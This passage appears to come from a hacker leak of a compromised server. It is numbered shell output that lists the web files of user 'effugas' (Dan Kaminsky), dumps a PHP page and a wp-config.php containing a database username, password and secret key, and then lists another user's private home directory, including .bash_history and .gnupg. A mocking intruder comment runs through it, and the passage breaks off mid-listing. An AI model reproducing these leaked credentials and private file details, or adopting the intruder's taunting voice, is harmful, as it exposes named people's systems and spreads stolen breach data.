1 effugas effugas 5262 Apr 18 2008 shell.php 8691 -rw-r--r-- 1 effugas effugas 1035150 Aug 13 2006 shell32_256_full.png 8692 -rw-r--r-- 1 effugas effugas 49986 Jul 27 2006 shellcode2.png 8693 -rw-r--r-- 1 effugas effugas 387 Jan 17 2008 shockwave.gif 8694 -rw-r--r-- 1 effugas effugas 7543 Jun 26 2008 shortcodes.php 8695 drwxr-xr-x 2 effugas effugas 512 Feb 21 2007 shwmp 8696 -rw-r--r-- 1 effugas effugas 1825 Mar 31 2007 sidebar.php 8697 -rw-r--r-- 1 effugas effugas 1427259 Aug 20 2006 sidescroll.png 8698 drwxr-xr-x 2 effugas effugas 512 Dec 20 2006 sigvid 8699 -rwxr-xr-x 1 effugas effugas 629170 Sep 2 2005 sigvids 8700 drwxr-xr-x 2 effugas effugas 512 Sep 23 2008 sim 8701 -rw-r--r-- 1 effugas effugas 32943 Feb 2 2006 simple.htm 8702 -rw-r--r-- 1 effugas effugas 33067 Feb 2 2006 simple_full.htm 8703 -rw-r--r-- 1 effugas effugas 167692 May 9 2007 simviz.jpg 8704 -rw-r--r-- 1 effugas effugas 1143489 May 9 2007 simviz.png 8705 -rw-r--r-- 1 effugas effugas 197080 May 27 2007 simviz2.jpg 8706 -rw-r--r-- 1 effugas effugas 2590 Mar 31 2008 single.php 8707 drwxr-sr-x 3 effugas effugas 512 Oct 17 2005 sites 8708 drwxr-xr-x 5 effugas effugas 512 Aug 19 2008 skins 8709 -rwxr-xr-x 1 effugas effugas 72323 Dec 10 2004 slashdot.js 8710 -rw-r--r-- 1 effugas effugas 10296 Mar 2 2008 slider.js 8711 drwxrwxrwx 2 effugas effugas 512 Aug 9 2007 slides 8712 -rw-r--r-- 1 effugas effugas 512924 Apr 5 2005 slirp-1.1.3b_crypt.tgz 8713 -rw-r--r-- 1 effugas effugas 1741 Mar 3 2008 slug.js 8714 -rw-r--r-- 1 effugas effugas 221755 Feb 25 2002 small2.pdf 8715 -rw-r--r-- 1 effugas effugas 359740 Feb 26 2002 small3.pdf 8716 -rw-r--r-- 1 effugas effugas 350539 Feb 25 2002 smalltest.pdf 8717 -rw-r--r-- 1 effugas effugas 565876 Feb 25 2002 smalltest3.pdf 8718 drwxr-xr-x 2 effugas effugas 1024 Jul 15 2008 smilies 8719 -rw-r--r-- 1 effugas effugas 3048 Aug 18 2006 soaptalk.html 8720 -rw-r--r-- 1 effugas effugas 3594 Aug 21 2006 soaptalk.txt 8721 -rw-r--r-- 1 effugas effugas 3212 Aug 21 2006 soaptalk_orig.txt 8722 drwxr-xr-x 2 effugas effugas 512 Nov 15 2005 sony 8723 -rw-r--r-- 1 effugas effugas 3008 Nov 17 2005 sony_country.txt 8724 -rw-r--r-- 1 effugas effugas 1920 Mar 2 2008 sound.js 8725 -rw-r--r-- 1 effugas effugas 1364 Jun 27 2008 source_editor.htm 8726 -rw-r--r-- 1 effugas effugas 1401 Jan 17 2008 source_editor.js 8727 -rw-r--r-- 1 effugas effugas 118 Feb 6 2006 span.html 8728 -rw-r--r-- 1 effugas effugas 87 Feb 6 2006 span2.html 8729 -rw-r--r-- 1 effugas effugas 72 Feb 6 2006 span3.html 8730 -rw-r--r-- 1 effugas effugas 42098 Sep 2 2003 speedy_mplayer.tgz 8731 drwxr-xr-x 6 effugas effugas 512 Aug 19 2008 spellchecker 8732 -rwxr-xr-x 1 effugas effugas 69362 Nov 5 2002 sphere1.jpg 8733 -rwxr-xr-x 1 effugas effugas 1229429 Jul 18 2006 spm.cab 8734 -rw-r--r-- 1 effugas effugas 26 Jul 18 2006 spm.html 8735 -rw-r--r-- 1 effugas effugas 2725 Feb 28 2008 spreadsheet.png 8736 -rw-r--r-- 1 effugas effugas 46 Feb 1 2006 src.html 8737 -rw-r--r-- 1 effugas effugas 569951 May 20 2005 ssh_trace.txt 8738 -rw-r--r-- 1 effugas effugas 2508 Aug 5 2004 sshd_config 8739 -rw-rw-rw- 1 effugas effugas 142885 Jul 27 2003 ssldump-ids.tgz 8740 -rw-r--r-- 1 effugas effugas 10470 Nov 14 2002 status.html 8741 -rw-r--r-- 1 effugas effugas 4068 Jun 22 2003 stn.jpg 8742 -rw-r--r-- 1 effugas effugas 38813 Apr 29 2003 stn_big.jpg 8743 -rw-r--r-- 1 effugas effugas 4850 Mar 1 2008 stp.php 8744 -rw-r--r-- 1 effugas effugas 3858 Jun 17 2008 streams.php 8745 -rw-r--r-- 1 effugas effugas 7917 Apr 18 2008 string.php 8746 -rw-r--r-- 1 effugas effugas 3365 Dec 6 2004 stripwire-1.1.tar.gz 8747 -rwxr-xr-x 1 effugas effugas 8014 Oct 21 2004 stripwire.pl 8748 -rw-r--r-- 1 effugas effugas 5623 Jul 8 2008 style.css 8749 drwxr-xr-x 2 effugas effugas 512 Jul 24 2007 sucket 8750 -rw-r--r-- 1 effugas effugas 7404 Jun 29 2008 suggest.js 8751 -rwxr-xr-x 1 effugas effugas 1169 Jun 15 2007 support.js 8752 -rw-r--r-- 1 effugas effugas 1542 Feb 21 2008 swf.png 8753 drwxr-xr-x 3 effugas effugas 512 Jul 15 2008 swfupload 8754 -rw-r--r-- 1 effugas effugas 1583 Jun 6 2008 swfupload.cookies.js 8755 -rw-r--r-- 1 effugas effugas 3690 Jun 6 2008 swfupload.documentready.js 8756 -rw-r--r-- 1 effugas effugas 2639 Jun 6 2008 swfupload.graceful_degradation.js 8757 -rw-r--r-- 1 effugas effugas 38457 Jun 6 2008 swfupload.js 8758 -rw-r--r-- 1 effugas effugas 1785 Jun 6 2008 swfupload.queue.js 8759 -rw-r--r-- 1 effugas effugas 9109 Jun 6 2008 swfupload_f9.swf 8760 -rw-r--r-- 1 effugas effugas 55423 Jun 29 2006 swollen_nose.jpg 8761 -rwxr-xr-x 1 effugas effugas 2354842 Aug 5 2005 syngress_Exposed-web.mov 8762 -rw-r--r-- 1 effugas effugas 40737 Feb 13 2005 t1.html 8763 -rw-r--r-- 1 effugas effugas 40737 Feb 13 2005 t2.html 8764 -rw-r--r-- 1 effugas effugas 1006 May 12 2008 tab.png 8765 -rw-r--r-- 1 effugas effugas 1326 Jan 17 2008 tabs.gif 8766 -rw-r--r-- 1 effugas effugas 547 Jan 25 2008 tags.js 8767 -rw-r--r-- 1 effugas effugas 98 Mar 15 2008 tail.gif 8768 -rw-r--r-- 1 effugas effugas 1280 Feb 21 2008 tar.png 8769 -rw-r--r-- 1 effugas effugas 3379 May 8 2008 taxonomy.php 8770 -rw-r--r-- 1 effugas effugas 506 Jan 9 2008 tb-close.png 8771 -rw-r--r-- 1 effugas effugas 2206516 Feb 25 2002 technotrash.pdf 8772 -rw-r--r-- 1 effugas effugas 2206516 Feb 25 2002 technotrash_v2.pdf 8773 -rw-r--r-- 1 effugas effugas 2479969 Feb 26 2002 technotrash_v3.pdf 8774 -rw-r--r-- 1 effugas effugas 2184 Apr 20 2008 template-loader.php 8775 -rw-r--r-- 1 effugas effugas 12499 Jun 27 2008 template.htm 8776 -rw-r--r-- 1 effugas effugas 45005 Jul 12 2008 template.php 8777 -rw-r--r-- 1 effugas effugas 99 Mar 14 15:04 test.gif 8778 -rw-r--r-- 1 effugas effugas 365 Nov 14 2002 test.html 8779 -rwxr-xr-x 1 effugas effugas 274 Jan 29 2006 test.py 8780 -rw-r--r-- 1 effugas effugas 136 Jan 29 2006 test.vbs 8781 -rw-r--r-- 1 effugas effugas 634 Feb 5 2005 test1.html 8782 -rw-r--r-- 1 effugas effugas 634 Feb 5 2005 test2.html 8783 -rw-r--r-- 1 effugas effugas 156179 Mar 26 2007 testtiff.html 8784 -rw-r--r-- 1 effugas effugas 155827 Jun 15 2007 testtiff_pattern.html 8785 -rw-r--r-- 1 effugas effugas 999 Feb 28 2008 text.png 8786 -rw-r--r-- 1 effugas effugas 20311 Apr 14 2008 textpattern.php 8787 -rw-r--r-- 1 effugas effugas 18161 Dec 20 2005 thc-ipv6-0.2.tar.gz 8788 -rw-r--r-- 1 effugas effugas 23348 Feb 12 2006 thc-ipv6-0.4.tar.gz 8789 -rw-r--r-- 1 effugas effugas 23833 Feb 15 2006 thc-ipv6-0.5.tar.gz 8790 -rw-r--r-- 1 effugas effugas 199 Jul 13 2008 theme-editor-rtl.css 8791 -rw-r--r-- 1 effugas effugas 813 Mar 14 2008 theme-editor.css 8792 -rw-r--r-- 1 effugas effugas 5863 Jun 27 2008 theme-editor.php 8793 -rw-r--r-- 1 effugas effugas 1464 Jun 25 2008 theme-preview.js 8794 -rw-r--r-- 1 effugas effugas 1506 Jun 4 2008 theme.php 8795 drwxr-sr-x 10 effugas effugas 512 Oct 17 2005 themes 8796 -rw-r--r-- 1 effugas effugas 7057 Jun 3 2008 themes.php 8797 drwxr-xr-x 2 effugas effugas 512 Jul 15 2008 thickbox 8798 -rw-r--r-- 1 effugas effugas 3597 Jun 14 2008 thickbox.css 8799 -rw-r--r-- 1 effugas effugas 12079 Mar 15 2008 thickbox.js 8800 -rw-r--r-- 1 effugas effugas 176791 Feb 11 2001 thieves.jpg 8801 -rw-r--r-- 1 effugas effugas 4680 Feb 11 2001 thieves_small.jpg 8802 -rw-r--r-- 1 effugas effugas 46 Aug 20 2006 tieview.html 8803 -rw-r--r-- 1 effugas effugas 2630109 Aug 20 2006 tieview.png 8804 -rw-r--r-- 1 effugas effugas 155446 Jun 27 2008 tiny_mce.js 8805 -rw-r--r-- 1 effugas effugas 11690 Jul 11 2008 tiny_mce_config.php 8806 -rw-r--r-- 1 effugas effugas 1007 Jun 4 2008 tiny_mce_ext.js 8807 -rw-r--r-- 1 effugas effugas 6870 Jun 4 2008 tiny_mce_popup.js 8808 drwxr-xr-x 6 effugas effugas 512 Jul 15 2008 tinymce 8809 -rwxr-xr-x 1 effugas effugas 1333 Nov 15 2002 titlife.txt 8810 drwxr-xr-x 2 effugas effugas 512 May 2 2005 tmp 8811 -rw-r--r-- 1 effugas effugas 2107 May 14 2005 to_ani.txt 8812 -rw-r--r-- 1 effugas effugas 403484 Oct 18 2004 tod.zip 8813 -rw-r--r-- 1 effugas effugas 10557 Aug 11 2001 todo.xml 8814 -rw-r--r-- 1 effugas effugas 72 Mar 19 2008 toggle-arrow-rtl.gif 8815 -rw-r--r-- 1 effugas effugas 71 Jan 8 2008 toggle-arrow.gif 8816 -rw-r--r-- 1 effugas effugas 2894 Nov 14 2002 tommie.html 8817 -rw-r--r-- 1 effugas effugas 3226 Nov 14 2002 tommie2.html 8818 -rw-r--r-- 1 effugas effugas 260 Jan 31 2008 toolbars.gif 8819 -rw-r--r-- 1 effugas effugas 78 Nov 14 2002 top.html 8820 -rw-r--r-- 1 effugas effugas 1491 Nov 14 2002 trace.txt 8821 -rw-r--r-- 1 effugas effugas 182532 Nov 14 2002 tracerpulse.txt 8822 drwxr-xr-x 2 effugas effugas 512 Feb 11 2007 traffic 8823 drwxr-xr-x 2 effugas effugas 512 Feb 13 2007 traffic2 8824 -rw-r--r-- 1 effugas effugas 43 Jan 31 2008 trans.gif 8825 -rw-r--r-- 1 effugas effugas 90214 Nov 2 2005 trespass.pdf 8826 -rw-r--r-- 1 effugas effugas 93136 Nov 3 2005 trespass2.pdf 8827 -rw-r--r-- 1 effugas effugas 4969 Apr 5 2006 tw-sack.js 8828 -rwxr-xr-x 1 effugas effugas 1574638 Jul 31 2006 two_dlls.png 8829 -rw-r--r-- 1 effugas effugas 3692 Jun 27 2008 ui.core.js 8830 -rw-r--r-- 1 effugas effugas 15497 Apr 14 2008 ui.css 8831 -rw-r--r-- 1 effugas effugas 10338 Jun 27 2008 ui.sortable.js 8832 -rw-r--r-- 1 effugas effugas 6194 Jun 27 2008 ui.tabs.js 8833 -rw-r--r-- 1 effugas effugas 49618 Sep 1 2006 ultimate_tattoo.jpg 8834 -rwxr-xr-x 1 effugas effugas 197632 Jul 23 2003 ultravnc.exe 8835 -rw-r--r-- 1 effugas effugas 9755 Nov 6 2005 under_the_bay.jpg 8836 -rw-r--r-- 1 effugas effugas 4686 May 8 2004 uni.txt 8837 -rw-r--r-- 1 effugas effugas 20197 Mar 2 2008 unittest.js 8838 -rw-r--r-- 1 effugas effugas 3918665 Jun 28 2004 unnamed.tgz 8839 -rw-r--r-- 1 effugas effugas 1426 May 20 2008 update-links.php 8840 -rw-r--r-- 1 effugas effugas 7255 Jul 11 2008 update.php 8841 -rw-r--r-- 1 effugas effugas 188 Mar 21 2008 upgrade-functions.php 8842 -rw-r--r-- 1 effugas effugas 48179 Jun 26 2008 upgrade.php 8843 -rw-r--r-- 1 effugas effugas 131 Mar 22 2008 upload-rtl.css 8844 -rw-r--r-- 1 effugas effugas 13224 Mar 15 2008 upload.js 8845 -rw-r--r-- 1 effugas effugas 8138 May 4 2008 upload.php 8846 -rw-r--r-- 1 effugas effugas 100738 Oct 28 2002 urandom1.jpg 8847 drwxrwxrwx 2 effugas effugas 4608 Sep 1 2007 usage 8848 -rw-r--r-- 1 effugas effugas 11602 Jun 23 2008 user-edit.php 8849 -rw-r--r-- 1 effugas effugas 13174 Jun 25 2008 user.php 8850 -rw-r--r-- 1 effugas effugas 49 Mar 2 2008 users.js 8851 -rw-r--r-- 1 effugas effugas 14307 May 27 2008 users.php 8852 drwxr-xr-x 2 effugas effugas 512 Aug 19 2008 utils 8853 -rw-r--r-- 1 effugas effugas 6690 Feb 27 2008 utw.php 8854 -rwxr-xr-x 1 effugas effugas 52818 Feb 21 2006 v2DanKFeb06.PDF 8855 -rwxr-xr-x 1 effugas effugas 105472 Feb 22 2005 va.exe 8856 -rw-r--r-- 1 effugas effugas 4764 Jun 4 2008 validate.js 8857 -rw-r--r-- 1 effugas effugas 2417 Jan 4 2008 vars.php 8858 -rw-r--r-- 1 effugas effugas 36904 Jul 22 2001 vasegallery.jpg 8859 -rw-r--r-- 1 effugas effugas 604 Dec 9 2004 vec1.html 8860 -rw-r--r-- 1 effugas effugas 788 Dec 10 2004 vec1_big.html 8861 -rw-r--r-- 1 effugas effugas 122553 Dec 28 2004 vec1_c.html 8862 -rw-r--r-- 1 effugas effugas 604 Dec 9 2004 vec2.html 8863 -rw-r--r-- 1 effugas effugas 788 Dec 10 2004 vec2_big.html 8864 -rw-r--r-- 1 effugas effugas 122553 Dec 28 2004 vec2_c.html 8865 -rw-r--r-- 1 effugas effugas 13 Jun 1 01:52 verify_1317e0e43d7d72.html 8866 -rw-r--r-- 1 effugas effugas 372 Jul 14 2008 version.php 8867 -rw-r--r-- 1 effugas effugas 92 Jan 17 2008 vertical.gif 8868 drwxr-xr-x 2 effugas effugas 512 Sep 2 2004 vid 8869 -rw-r--r-- 1 effugas effugas 99 Jul 3 2008 video.gif 8870 -rw-r--r-- 1 effugas effugas 2372 Feb 28 2008 video.png 8871 drwxr-xr-x 5 effugas effugas 512 Sep 23 2008 vidsim 8872 -rw-r--r-- 1 effugas effugas 630 Feb 2 2006 violins.asx 8873 -rw-r--r-- 1 effugas effugas 672 Feb 2 2006 violins.smi 8874 -rw-r--r-- 1 effugas effugas 5228 Feb 2 2006 vml.html 8875 -rw-r--r-- 1 effugas effugas 1165 Feb 2 2006 vml2.html 8876 -rw-r--r-- 1 effugas effugas 1178 Feb 2 2006 vml3.html 8877 -rw-r--r-- 1 effugas effugas 1641642 Feb 8 2005 voicemail.mp3 8878 drwxr-xr-x 2 effugas effugas 512 Nov 15 2002 vol 8879 -rw-r--r-- 1 effugas effugas 106130 Dec 14 2004 w32dns.zip 8880 -rw-r--r-- 1 effugas effugas 763750 Nov 9 2006 walter.zip 8881 -rw-r--r-- 1 effugas effugas 141 Nov 18 2006 warning.html 8882 -rw-r--r-- 1 effugas effugas 3594 Aug 18 2006 wash_your_mouth_out_with_soap.html 8883 -rw-r--r-- 1 effugas effugas 424 Nov 14 2002 webcache.html 8884 -rw-r--r-- 1 effugas effugas 210717 Mar 26 2003 weilsigs.pdf 8885 -rw-r--r-- 1 effugas effugas 452841 Feb 25 2003 weilsigs.ps 8886 drwxr-xr-x 2 effugas effugas 512 Jun 7 2004 whoa 8887 -rw-r--r-- 1 effugas effugas 33721 Jun 5 2007 why_you_do_this.jpg 8888 -rw-r--r-- 1 effugas effugas 1027 May 20 2008 widgets-rtl.css 8889 -rw-r--r-- 1 effugas effugas 3211 May 21 2008 widgets.css 8890 -rw-r--r-- 1 effugas effugas 4704 May 3 2008 widgets.js 8891 -rw-r--r-- 1 effugas effugas 9986 Jul 4 2008 widgets.php 8892 -rw-r--r-- 1 effugas effugas 81546 Nov 14 2002 win_ie6.png 8893 -rw-r--r-- 1 effugas effugas 72482 Nov 14 2002 win_moz11.png 8894 -rw-r--r-- 1 effugas effugas 7068 Apr 14 2008 window.css 8895 -rw-r--r-- 1 effugas effugas 415 Jan 17 2008 windowsmedia.gif 8896 -rw-r--r-- 1 effugas effugas 48738 Sep 19 2002 wire_1.0.pdf 8897 -rw-r--r-- 1 effugas effugas 64587 Dec 12 2002 wire_1.1.pdf 8898 -rw-r--r-- 1 effugas effugas 53316 Feb 11 2001 wires.jpg 8899 -rw-r--r-- 1 effugas effugas 46 Jan 17 2008 wline.gif 8900 drwxr-xr-x 2 effugas effugas 512 Jul 15 2008 wlw 8901 -rw-r--r-- 1 effugas effugas 1013 Oct 8 2007 wlwmanifest.xml 8902 -rw-r--r-- 1 effugas effugas 967 Jun 3 2008 word-count.js 8903 -rw-r--r-- 1 effugas effugas 162 Jan 29 2006 word.html 8904 drwxr-xr-x 5 effugas effugas 1024 Aug 19 2008 wordpress 8905 -rw-r--r-- 1 effugas effugas 1302795 Aug 19 2008 wordpress-2.6.tar.gz 8906 -rw-r--r-- 1 effugas effugas 2334 Feb 18 2008 wordpress-logo.png 8907 -rw-r--r-- 1 effugas effugas 1475 Jul 11 2008 wordpress.css 8908 -rw-r--r-- 1 effugas effugas 24049 May 20 2008 wordpress.php 8909 -rw-r--r-- 1 effugas effugas 91190 Sep 3 2006 workout.png 8910 drwxr-xrwx 7 effugas effugas 1024 Sep 26 2005 wp 8911 drwxr-xr-x 7 effugas effugas 2048 Aug 24 2008 wp-admin 8912 -rw-r--r-- 1 effugas effugas 25511 Jul 10 2008 wp-admin.css 8913 -rw-r--r-- 1 effugas effugas 2921 Mar 20 2008 wp-ajax-response.js 8914 -rw-r--r-- 1 effugas effugas 34072 Aug 24 2008 wp-app.php 8915 -rw-r--r-- 1 effugas effugas 555 Aug 24 2008 wp-atom.php 8916 -rw-r--r-- 1 effugas effugas 274 Aug 24 2008 wp-blog-header.php 8917 -rw-r--r-- 1 effugas effugas 16961 Jul 7 2008 wp-cat2tag.php 8918 -rw-r--r-- 1 effugas effugas 3091 Aug 24 2008 wp-comments-post.php 8919 -rw-r--r-- 1 effugas effugas 1442 Oct 8 2007 wp-comments.png 8920 -rw-r--r-- 1 effugas effugas 625 Aug 24 2008 wp-commentsrss2.php 8921 -rw-r--r-- 1 effugas effugas 1569 Aug 24 2008 wp-config-sample.php 8922 -rw-r--r-- 1 effugas effugas 1374 Aug 24 2008 wp-config.php 8923 drwxr-xr-x 6 effugas effugas 512 Aug 24 2008 wp-content 8924 -rw-r--r-- 1 effugas effugas 1257 Aug 24 2008 wp-cron.php 8925 -rw-r--r-- 1 effugas effugas 24346 Jul 10 2008 wp-db.php 8926 -rw-r--r-- 1 effugas effugas 10111 Jul 6 2008 wp-diff.php 8927 -rw-r--r-- 1 effugas effugas 661 Aug 24 2008 wp-feed.php 8928 -rw-r--r-- 1 effugas effugas 2396 May 19 2008 wp-gears.js 8929 -rw-r--r-- 1 effugas effugas 779 Oct 8 2007 wp-icon.png 8930 drwxr-xr-x 5 effugas effugas 2048 Aug 24 2008 wp-includes 8931 -rw-r--r-- 1 effugas effugas 22612 Jul 10 2008 wp-langs.php 8932 -rw-r--r-- 1 effugas effugas 1986 Aug 24 2008 wp-links-opml.php 8933 -rw-r--r-- 1 effugas effugas 11635 Apr 14 2008 wp-lists.js 8934 -rw-r--r-- 1 effugas effugas 1950 Aug 24 2008 wp-load.php 8935 -rw-r--r-- 1 effugas effugas 19219 Aug 24 2008 wp-login.php 8936 -rw-r--r-- 1 effugas effugas 6404 Aug 24 2008 wp-mail.php 8937 -rw-r--r-- 1 effugas effugas 12566 Jun 27 2008 wp-mce-help.php 8938 -rw-r--r-- 1 effugas effugas 487 Aug 24 2008 wp-pass.php 8939 -rw-r--r-- 1 effugas effugas 473 Aug 24 2008 wp-rdf.php 8940 -rw-r--r-- 1 effugas effugas 316 Aug 24 2008 wp-register.php 8941 -rw-r--r-- 1 effugas effugas 484 Aug 24 2008 wp-rss.php 8942 -rw-r--r-- 1 effugas effugas 555 Aug 24 2008 wp-rss2.php 8943 -rw-r--r-- 1 effugas effugas 2617 Mar 2 2008 wp-scriptaculous.js 8944 -rw-r--r-- 1 effugas effugas 17172 Aug 24 2008 wp-settings.php 8945 drwxr-xr-x 3 effugas effugas 512 Jul 24 2008 wp-super-cache 8946 -rw-r--r-- 1 effugas effugas 29906 Jul 8 2008 wp-super-cache.0.6.4.zip 8947 -rw-r--r-- 1 effugas effugas 31102 Jul 24 2008 wp-super-cache.0.6.5.zip 8948 -rw-r--r-- 1 effugas effugas 3434 Aug 24 2008 wp-trackback.php 8949 -rw-r--r-- 1 effugas effugas 8280 Oct 8 2007 wp-watermark.png 8950 drwxr-xr-x 3 effugas effugas 512 Aug 19 2008 wp_theme 8951 drwxr-xr-x 5 effugas effugas 512 Aug 19 2008 wpeditimage 8952 -rw-r--r-- 1 effugas effugas 65 Apr 1 2007 wpf.html 8953 drwxr-xr-x 9 effugas effugas 512 Mar 16 2005 writings 8954 drwxr-xr-x 6 effugas effugas 512 Oct 17 2005 wtf 8955 -rw-r--r-- 1 effugas effugas 986 Nov 14 2002 wtf.html 8956 -rwxr-xr-x 1 effugas effugas 14529 Sep 26 2005 wtf.log 8957 drwxr-xr-x 2 effugas effugas 512 Apr 2 2006 wtf2 8958 drwxr-xr-x 2 effugas effugas 512 Oct 12 2005 x 8959 drwxr-xr-x 5 effugas effugas 1024 Jan 21 2002 x10 8960 -rw-r--r-- 1 effugas effugas 2231 Apr 18 2008 xdiff.php 8961 -rw-r--r-- 1 effugas effugas 1293 Jun 1 2007 xfn.js 8962 -rw-r--r-- 1 effugas effugas 181 Jan 2 2008 xit.gif 8963 -rw-r--r-- 1 effugas effugas 75403 Aug 24 2008 xmlrpc.php 8964 drwxr-xr-x 2 effugas effugas 512 Dec 28 2005 xovi 8965 -rw-r--r-- 1 effugas effugas 586 Feb 20 08:16 xqid.txt 8966 -rw-r--r-- 1 effugas effugas 187 Feb 1 2006 yack.html 8967 -rwxr-xr-x 1 effugas effugas 2566180 Nov 24 2005 yed.jar 8968 -rwxrwxrwx 1 effugas effugas 9041858 Aug 6 2008 yellow-7days-with-percentage.avi 8969 -rw-r--r-- 1 effugas effugas 612 Jul 9 2008 yes.png 8970 -rw-r--r-- 1 effugas effugas 4463377 Aug 8 2006 zelda32.png 8971 -rw-r--r-- 1 effugas effugas 29121 Dec 8 2003 zen.html 8972 -rw-r--r-- 1 effugas effugas 14631 Dec 8 2003 zen.txt 8973 -rw-r--r-- 1 effugas effugas 1270 Feb 21 2008 zip.png 8974 -rw-r--r-- 1 effugas effugas 86 Feb 6 2006 zippo2.html 8975 -rw-r--r-- 1 effugas effugas 923947 Nov 4 2008 zombie2.swf 8976 -rw-r--r-- 1 effugas effugas 673 Nov 4 2008 zombie2.swf.html 8977 8978 8979 // Here comes some leet PHP that looks so old school it probably predates PHP 8980 $ cat index_old.php 8981 <?php 8982 $title = "Welcome to Doxpara Research!"; 8983 require('layout.inc'); 8984 $DOCUMENT_ROOT="/home/effugas/doxpara"; 8985 8986 $fp = fopen($DOCUMENT_ROOT."/Frontpage_old","r"); 8987 while($title = fgetss($fp, 70)){ 8988 $URL = fgetss($fp, 100); 8989 $URL = chop($URL); 8990 $date = fgetss($fp, 50); 8991 $desc = ""; 8992 while($line = fgets($fp, 4096)){ 8993 if(strlen($line) < 2){ 8994 break; 8995 } 8996 $desc .= $line; 8997 } 8998 ?> 8999 9000 <!-- BOUNDARY --> 9001 9002 <tr><td><img src="/clearpixel.gif" height=10 width=2></td></tr> 9003 9004 <tr><td><table width=100% border=0 cellpadding=0 cellspacing=0> 9005 <tr><td bgcolor=#000090><font color=white face=garamond,arial,helvetica,sans-serif 9006 color=#e0e0e0><?php echo $date; ?></a> / <a href="mailto:dan@doxpara.com"> 9007 <font color=white>Dan "Effugas" Kaminsky</font></a></font></td> 9008 <td bgcolor=#000090 align=right> 9009 <?php if($URL){ echo "<a href=\"$URL\">"; } ?><font face=arial,sans-serif,helvetica 9010 color=white size=+2><?php echo $title; ?></font><?php if($URL){ echo "</a>"; } ?></td></tr> 9011 </table></td></tr> 9012 <tr><td bgcolor=#c0c0c0><font face=arial,sans-serif,helvetica size=-1> 9013 <blockquote> 9014 <div align=justify> 9015 <?php echo $desc;?> 9016 </div> 9017 </td></tr> 9018 9019 <?php 9020 } 9021 fclose($fp); 9022 9023 require('layout-tail.inc'); 9024 ?> 9025 $ cat wp-config.php 9026 <?php 9027 // ** MySQL settings ** // 9028 define('DB_NAME', 'effugas'); // The name of the database 9029 define('DB_USER', 'effugas'); // Your MySQL username 9030 define('DB_PASSWORD', 'foo'); // ...and password 9031 define('DB_HOST', 'localhost'); // 99% chance you won't need to change this value 9032 define('DB_CHARSET', 'utf8'); 9033 define('DB_COLLATE', ''); 9034 9035 // Change SECRET_KEY to a unique phrase. You won't have to remember it later, 9036 // so make it long and complicated. You can visit http://api.wordpress.org/secret-key/1.0/ 9037 // to get a secret key generated for you, or just make something up. 9038 define('SECRET_KEY', 'kjfhgdkfjghldkfjghlkdfjghlkdfjghkljdfghkljdfhgkldjfghkldfjghlkdfjghkdfljhgdlkjfhgkldjfghkldfjhgkdljfhdfg'); // Change this to a unique phrase. 9039 9040 // You can have multiple installations in one database if you give each a unique prefix 9041 $table_prefix = 'wp_'; // Only numbers, letters, and underscores please! 9042 9043 // Change this to localize WordPress. A corresponding MO file for the 9044 // chosen language must be installed to wp-content/languages. 9045 // For example, install de.mo to wp-content/languages and set WPLANG to 'de' 9046 // to enable German language support. 9047 define ('WPLANG', ''); 9048 9049 /* That's all, stop editing! Happy blogging. */ 9050 9051 define('ABSPATH', dirname(__FILE__).'/'); 9052 define('WP_CACHE', true); 9053 require_once(ABSPATH.'wp-settings.php'); 9054 ?> 9055 $ cd /home/thalakan 9056 $ ls -la 9057 total 7102326 9058 -rw-r--r-- 1 thalakan thalakan 105677 Nov 1 2004 OAgOA 9059 -rw-r--r-- 1 thalakan thalakan 1 Nov 2 2007 #64014# 9060 -rw-r--r-- 1 thalakan thalakan 1025 Nov 20 2004 #align.c# 9061 -rwxr-xr-x 1 thalakan thalakan 3644 Oct 22 2008 #automat.py# 9062 -rw-r--r-- 1 thalakan thalakan 20 May 5 2005 #c1.pl# 9063 -rw-r--r-- 1 thalakan thalakan 0 Mar 7 2007 #commute.txt# 9064 -rw-r--r-- 1 thalakan thalakan 34 Mar 4 12:40 #hsqualgm.txt# 9065 -rw-r--r-- 1 thalakan thalakan 19 Nov 27 2006 #test.awk# 9066 -rw-r--r-- 1 thalakan thalakan 206 May 3 2006 #test22.c# 9067 -rwxrwxrwx 1 thalakan thalakan 2675 Nov 15 2005 %backup%~ 9068 drwxr-x--- 141 thalakan thalakan 26112 Jul 20 09:10 . 9069 lrwxr-xr-x 1 thalakan thalakan 54 Mar 4 12:38 .#hsqualgm.txt -> thalakan@shaitan1.lightconsulting.com.49893:1201029435 9070 drwxr-xr-x 73 root wheel 1536 Jun 26 04:56 .. 9071 -rw-r--r-- 1 thalakan thalakan 1527 May 21 2003 ..\homework7\homework7.zip 9072 drwx------ 3 thalakan thalakan 512 Apr 21 2006 .BitchX 9073 drwxr-xr-x 8 thalakan thalakan 512 Dec 11 2004 .Mathematica 9074 -rw------- 1 thalakan thalakan 53 Jul 5 2007 .Xauthority 9075 -rw------- 1 thalakan thalakan 24 Dec 7 2008 .aspell.en.prepl 9076 -rw------- 1 thalakan thalakan 22 Dec 7 2008 .aspell.en.pws 9077 -rw------- 1 thalakan thalakan 9368 Jun 26 04:54 .bash_history 9078 -rw-r--r-- 1 thalakan thalakan 46 Sep 8 2003 .bitchxrc 9079 -rw-r--r-- 1 thalakan thalakan 820 Jun 22 2006 .cshrc 9080 -rw------- 1 thalakan thalakan 53 Aug 26 2005 .cvspass 9081 lrwxr-xr-x 1 root wheel 18 Jan 24 2002 .emacs -> jrstools/dot-emacs 9082 drwx------ 3 thalakan thalakan 512 Jan 25 2002 .emacs.d 9083 drwx------ 2 thalakan thalakan 512 Jan 28 2008 .eshell 9084 -rw-r--r-- 1 thalakan thalakan 683 Mar 17 2005 .fonts.cache-1 9085 -rw-r--r-- 1 thalakan thalakan 98 Jan 24 2002 .forward.off 9086 drwx------ 3 thalakan thalakan 512 Mar 3 2005 .gaim 9087 drwx------ 3 thalakan thalakan 512 Mar 3 2005 .gconf 9088 drwx------ 2 thalakan thalakan 512 Mar 3 2005 .gconfd 9089 drwx------ 2 thalakan thalakan 512 Mar 3 2005 .gnome 9090 drwx------ 3 thalakan thalakan 512 Mar 3 2005 .gnome2 9091 drwx------ 2 thalakan thalakan 512 Mar 3 2005 .gnome2_private 9092 drwx------ 2 thalakan thalakan 512 Jun 4 11:16 .gnupg 9093 -rw------- 1 thalakan thalakan 137061 Jul 18 23:44 .history 9094 -rw-r--r-- 1 thalakan thalakan 17 Jun 20 2007 .htaccess 9095 -rw-r--r-- 1 thalakan thalakan 1949 Apr 18 2006 .htcfg 9096 drwxr-xr-x 2 thalakan thalakan 512 Mar 4 2005 .idapro 9097 drwx------ 3 thalakan thalakan 512 May 26 2008 .irssi 9098 -rw------- 1 thalakan thalakan 326 Nov 14 2002 